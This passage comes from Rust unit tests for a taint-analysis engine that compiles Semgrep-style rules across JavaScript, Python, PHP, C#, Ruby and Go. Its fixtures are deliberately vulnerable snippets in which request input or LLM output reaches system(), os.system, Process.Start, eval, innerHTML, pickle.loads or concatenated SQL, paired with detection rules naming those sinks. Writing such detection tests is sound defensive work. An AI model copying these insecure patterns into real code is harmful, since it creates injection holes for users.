"`$S` should not match `$STR` (metavariable boundary)"
);
}
#[test]
fn compile_member_assign_sink_produces_member_assign() {
let m = compile("$EL.innerHTML = $X", MatcherRole::Sink).expect("MemberAssign");
match m {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
_ => panic!("expected MemberAssign"),
}
}
#[test]
fn compile_member_assign_sanitizer_produces_member_assign() {
let m =
compile("$EL.outerHTML = $X", MatcherRole::Sanitizer).expect("MemberAssign sanitizer");
match m {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "outerHTML"),
_ => panic!("expected MemberAssign"),
}
}
#[test]
fn compile_member_assign_source_is_rejected() {
assert!(compile("$EL.innerHTML = $X", MatcherRole::Source).is_none());
}
#[test]
fn member_assign_equality_operator_is_rejected() {
assert!(compile("$EL.innerHTML == $X", MatcherRole::Sink).is_none());
}
#[test]
fn member_assign_plain_receiver_not_compiled_as_member_assign() {
assert!(compile("el.innerHTML = $X", MatcherRole::Sink).is_none());
}
#[test]
fn member_assign_multi_segment_lhs_is_rejected() {
assert!(compile("$EL.a.b = $X", MatcherRole::Sink).is_none());
}
#[test]
fn taint_rule_with_member_assign_sink_compiles() {
let r = compiled(
r#"
id: js-dom-xss-innerhtml
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted input reaches innerHTML"
metadata:
cwe: "CWE-79"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
assert_eq!(r.spec.sinks.len(), 1);
match &r.spec.sinks[0] {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
other => panic!("expected MemberAssign sink, got {:?}", other),
}
}
#[test]
fn js_taint_member_assign_sink_produces_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-dom-xss-innerhtml-e2e
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
metadata:
cwe: "CWE-79"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
let src = r#"
function handler(req) {
var data = req.query.name;
document.getElementById("target").innerHTML = data;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for req.query -> innerHTML flow, got none"
);
assert!(
findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("innerHTML")),
"sink description should mention innerHTML: {:?}",
findings[0]
);
}
#[test]
fn js_taint_member_assign_non_matching_field_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-dom-xss-innerhtml-neg
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
let src = r#"
function handler(req) {
var data = req.query.name;
document.getElementById("target").textContent = data;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"textContent assignment should NOT trigger the innerHTML rule, got {:?}",
findings
);
}
#[test]
fn patterns_block_single_pattern_source_to_sink_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: patterns-block-single-pattern
mode: taint
languages: [python]
severity: ERROR
message: "Tainted data reaches pickle.loads"
pattern-sources:
- patterns:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(rule.spec.sources.len(), 1, "source from patterns: block");
assert_eq!(rule.spec.sinks.len(), 1, "sink from patterns: block");
let src = r#"
import pickle
def view(request):
data = request.data
result = pickle.loads(data)
return result
"#;
let tree = parse_file(src, Language::Python).expect("Python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.data -> pickle.loads flow, got none"
);
}
#[test]
fn patterns_block_with_pattern_either_compiles_all_alternatives() {
let r = compiled(
r#"
id: patterns-block-pattern-either
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern-either:
- pattern: pickle.loads($X)
- pattern: pickle.load($X)
- pattern: eval($X)
"#,
);
assert_eq!(
r.spec.sinks.len(),
3,
"expected 3 sink matchers from patterns: {{ pattern-either: [3] }}"
);
}
#[test]
fn patterns_block_with_unsupported_constraint_compiles_with_broadening() {
let r = compiled(
r#"
id: patterns-block-broadening
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern-inside: |
def handler(event, context):
...
- pattern: event
pattern-sinks:
- patterns:
- focus-metavariable: $CMD
- pattern-either:
- pattern: os.system($CMD)
- pattern: os.popen($CMD)
"#,
);
assert_eq!(
r.spec.sources.len(),
1,
"source compiled despite dropped pattern-inside"
);
assert_eq!(
r.spec.sinks.len(),
2,
"sinks compiled despite dropped focus-metavariable"
);
}
#[test]
fn patterns_block_no_expressible_matcher_warn_skips_gracefully() {
let yaml = r#"
id: patterns-block-no-expressible
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern-inside: |
def handler(event, context):
...
- focus-metavariable: $X
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Skip(msg) => {
assert!(
msg.contains("pattern-sources"),
"skip message should mention pattern-sources: {msg}"
);
}
TaintRuleParse::Compiled(_) => {
panic!("expected Skip when patterns: block has no expressible matchers")
}
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn php_bridge_bare_get_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- pattern: system($X)
"#,
);
let src = "<?php\nfunction handle() {\n $c = $_GET['cmd'];\n system($c);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for $_GET['cmd'] -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn php_bridge_bare_get_source_sanitized_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi-sanitized
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sanitizers:
- pattern: escapeshellarg($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src =
"<?php\nfunction handle() {\n $c = escapeshellarg($_GET['cmd']);\n system($c);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized $_GET flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn php_bridge_bare_get_source_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi-nearmiss
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- pattern: system($X)
"#,
);
let src = "<?php\nfunction handle() {\n $tainted = $_GET['cmd'];\n $safe = 'ls';\n system($safe);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"untainted argument must not fire, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_php_language_compiles() {
let yaml = r#"
id: php-taint
mode: taint
languages: [php]
severity: ERROR
message: m
pattern-sources: [{pattern: $_GET}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Php);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn csharp_bridge_dotted_source_to_process_start_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-cmd-injection
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: Request.QueryString
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System.Web;
using System.Diagnostics;
class Controller {
public void Handle() {
string cmd = Request.QueryString["cmd"];
Process.Start(cmd);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for Request.QueryString -> Process.Start, got {:?}",
findings
);
assert!(
findings[0].line > 0,
"finding should carry a valid line number"
);
}
#[test]
fn csharp_bridge_sanitized_variant_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-xss-sanitized
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Response.Write"
pattern-sources:
- pattern: Request.QueryString
pattern-sanitizers:
- pattern: HttpUtility.HtmlEncode($X)
pattern-sinks:
- pattern: Response.Write($X)
"#,
);
let src = r#"
using System.Web;
class Controller {
public void Handle() {
string raw = Request.QueryString["q"];
string safe = HttpUtility.HtmlEncode(raw);
Response.Write(safe);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn csharp_bridge_near_miss_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-cmd-nearmiss
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
pattern-sources:
- pattern: Request.QueryString
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System.Web;
using System.Diagnostics;
class Controller {
public void Handle() {
string _tainted = Request.QueryString["cmd"];
Process.Start("notepad.exe");
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"near-miss must produce no finding, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_csharp_language_compiles() {
let yaml = r#"
id: cs-taint
mode: taint
languages: [csharp]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::CSharp);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_cs_alias_compiles_as_csharp() {
let yaml = r#"
id: cs-taint
mode: taint
languages: [cs]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::CSharp),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn csharp_bridge_console_readline_to_process_start() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-console-cmdi
mode: taint
languages: [csharp]
severity: ERROR
message: "Console.ReadLine input reaches Process.Start"
pattern-sources:
- pattern: Console.ReadLine($X)
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System;
using System.Diagnostics;
class App {
static void Main() {
string cmd = Console.ReadLine();
Process.Start(cmd);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for Console.ReadLine -> Process.Start, got {:?}",
findings
);
}
#[test]
fn python_bridge_fieldname_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-fieldname-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- pattern: os.system($X)
"#,
);
assert!(matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::FieldName { field, .. }] if field == "body"
));
let src = r#"
def handler(req):
data = req.body
os.system(data)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.body -> os.system, got {:?}",
findings
);
}
#[test]
fn python_bridge_fieldname_safe_property_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-fieldname-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- pattern: os.system($X)
"#,
);
let src = r#"
def handler(req):
data = req.session
os.system(data)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"req.session is not `.body`; expected no finding, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_fieldname_source_to_eval_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-fieldname-eval
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted req.query reaches eval"
pattern-sources:
- pattern: $REQ.query
pattern-sinks:
- pattern: eval($X)
"#,
);
let src = r#"
function handler(req) {
const q = req.query;
eval(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.query -> eval, got {:?}",
findings
);
}
#[test]
fn python_bridge_subscript_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-subscript-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
- pattern: request.POST[...]
pattern-sinks:
- pattern: os.system($X)
"#,
);
assert!(matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::Subscript { base: Some(b), .. }] if b == "POST"
));
let src = r#"
def handler(request):
cmd = request.POST["c"]
os.system(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.POST[...] -> os.system, got {:?}",
findings
);
}
#[test]
fn python_bridge_subscript_safe_base_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-subscript-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
- pattern: request.POST[...]
pattern-sinks:
- pattern: os.system($X)
"#,
);
let src = r#"
def handler(config):
cmd = config.SETTINGS["c"]
os.system(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"config.SETTINGS[...] is not request.POST[...]; expected no finding, got {:?}",
findings
);
}
#[test]
fn php_bridge_subscript_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-subscript-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET[...]
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"<?php
function handler() {
$cmd = $_GET["c"];
system($cmd);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for $_GET[...] -> system, got {:?}",
findings
);
}
#[test]
fn python_bridge_receivercall_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-receivercall-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
- pattern: $REQ.cmd
pattern-sinks:
- pattern: os.$METHOD(...)
"#,
);
assert!(matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ReceiverCall { receiver, .. }] if receiver == "os"
));
let src = r#"
def handler(req):
c = req.cmd
os.system(c)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.cmd -> os.system (os.$METHOD), got {:?}",
findings
);
}
#[test]
fn python_bridge_receivercall_other_receiver_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-receivercall-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
- pattern: $REQ.cmd
pattern-sinks:
- pattern: os.$METHOD(...)
"#,
);
let src = r#"
def handler(req):
c = req.cmd
logger.info(c)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"logger.info is not os.$METHOD; expected no finding, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_receivercall_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-receivercall-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches Kernel.<any>"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: Kernel.$X(...)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
Kernel.system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for params -> Kernel.system (Kernel.$X), got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_concat_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler(req):
name = req.args
query = "SELECT * FROM t WHERE n = " + name
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_untainted_concat_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-sqli-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
def handler(req):
name = req.args
query = "SELECT * FROM t WHERE n = " + "constant"
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only concat has no tainted operand; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_fstring_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-fstring-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into an f-string SQL"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: 'f"...{$X}..."'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"f-string sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler(req):
name = req.args
query = f"SELECT * FROM t WHERE n = {name}"
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> f-string, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_percent_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-percent-html
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a percent-formatted string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$HTMLSTR" % ...'
"#,
);
let src = r#"
def handler(req):
name = req.args
page = "<b>%s</b>" % name
render(page)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> \"...\" % name, got {:?}",
findings
);
}
#[test]
fn go_bridge_binop_format_concat_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-binop-sqli
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
- pattern: $REQ.Body
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"go sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
package main
func handler(r *Request) {
name := r.Body
query := "SELECT * FROM t WHERE n = " + name
db.Exec(query)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for r.Body -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn go_bridge_binop_format_untainted_concat_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-binop-sqli-safe
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
- pattern: $REQ.Body
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
package main
func handler(r *Request) {
_ = r.Body
query := "SELECT * FROM t WHERE n = " + "constant"
db.Exec(query)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only concat has no tainted operand; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_member_call_llm_source_to_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "completions"),
"source should compile to FieldName{{completions}}, got {:?}",
rule.spec.sources
);
let src = r#"
def run(client):
out = client.chat.completions.create(model="gpt-4")
eval(out)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for completions.create -> eval, got {:?}",
findings
);
}
#[test]
fn python_bridge_member_call_different_field_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
let src = r#"
def run(client):
out = client.chat.other.create(model="gpt-4")
eval(out)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"different penultimate field must not taint; expected no finding, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_member_call_llm_source_to_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.messages.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "messages"),
"source should compile to FieldName{{messages}}, got {:?}",
rule.spec.sources
);
let src = r#"
function run(client) {
const out = client.messages.create({model: "claude"});
eval(out);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for messages.create -> eval, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_member_call_different_field_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.messages.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
let src = r#"
function run(client) {
const out = client.completions.create({model: "claude"});
eval(out);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"different penultimate field must not taint; expected no finding, got {:?}",
findings
);
}
#[test]
fn compile_concrete_root_metavar_field_yields_paramname_root() {
let m = compile("request.$ANYTHING", MatcherRole::Source).expect("request source");
match m {
GenericMatcher::ParamName { names, .. } => {
assert_eq!(names, vec!["request".to_string()])
}
other => panic!("expected ParamName[request], got {other:?}"),
}
assert!(parse_concrete_root_metavar_field("$REQ.$ANYTHING").is_none());
assert!(parse_concrete_root_metavar_field("request.GET").is_none());
assert!(parse_concrete_root_metavar_field("a.b.$X").is_none());
}
#[test]
fn python_bridge_request_anything_source_to_binop_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
- pattern: request.$ANYTHING
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::ParamName { names, .. }] if names == &["request".to_string()]),
"source should compile to ParamName[request], got {:?}",
rule.spec.sources
);
let src = r#"
def view(request):
name = request.GET
query = "SELECT * FROM t WHERE n = " + name
cursor.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.GET -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn python_bridge_request_anything_non_request_root_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
- pattern: request.$ANYTHING
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
def view(config):
name = config.GET
query = "SELECT * FROM t WHERE n = " + name
cursor.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"non-request root must not be a source; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_object_literal_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-objlit-prompt-injection
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: |
{"role": "system", "content": $SINK}
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ObjectLiteralValue { .. }]
),
"sink should compile to ObjectLiteralValue, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler():
user = request.data
msg = {"role": "system", "content": user}
return msg
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.data -> dict literal value, got {:?}",
findings
);
}
#[test]
fn python_bridge_object_literal_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-objlit-prompt-injection-safe
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: |
{"role": "system", "content": $SINK}
- focus-metavariable: $SINK
"#,
);
let src = r#"
def handler():
user = request.data
msg = {"role": "system", "content": "you are a helpful assistant"}
return msg
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a dict literal with only literal values must not fire, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_object_literal_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-objlit-prompt-injection
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- pattern: |
{role: "system", content: $SINK}
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ObjectLiteralValue { .. }]
),
"sink should compile to ObjectLiteralValue, got {:?}",
rule.spec.sinks
);
let src = r#"
function handler(req) {
const user = req.body;
const msg = { role: "system", content: user };
return msg;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.body -> object literal value, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_object_literal_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-objlit-prompt-injection-safe
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- pattern: |
{role: "system", content: $SINK}
- focus-metavariable: $SINK
"#,
);
let src = r#"
function handler(req) {
const user = req.body;
